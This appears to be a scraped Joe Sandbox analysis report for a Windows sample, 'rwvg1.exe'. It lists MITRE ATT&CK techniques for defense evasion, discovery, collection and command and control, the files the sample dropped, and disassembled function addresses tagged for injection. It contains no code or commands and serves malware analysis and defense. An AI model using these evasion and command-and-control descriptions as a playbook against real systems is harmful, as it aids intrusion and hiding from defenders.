Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report rwvg1.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rwvg1.exe.log

C:\Users\user\AppData\Local\Temp\RESE40B.tmp

C:\Users\user\AppData\Local\Temp\udnn4kvb\CSC6F1C42AD8BFA43858060D3D5772952B.TMP

C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.0.cs

C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.cmdline

C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.dll

C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.out

Static File Info

General

File Icon

Windows Analysis Report
rwvg1.exe

Function 01002558 Relevance: 3.1, APIs: 2, Instructions: 98
injectionCOMMON

Function 010026EC Relevance: 1.7, APIs: 1, Instructions: 246
processCOMMON

Function 010026F8 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Function 01002468 Relevance: 1.6, APIs: 1, Instructions: 71
injectionCOMMON

Function 01002470 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Function 010022D1 Relevance: 1.6, APIs: 1, Instructions: 64
threadCOMMON

Function 01002560 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Function 010022D8 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Function 010023A9 Relevance: 1.6, APIs: 1, Instructions: 54
memoryCOMMON

Function 010023B0 Relevance: 1.6, APIs: 1, Instructions: 53
memoryCOMMON

Function 01002221 Relevance: 1.6, APIs: 1, Instructions: 50
threadCOMMON

Function 01002228 Relevance: 1.5, APIs: 1, Instructions: 49
threadCOMMON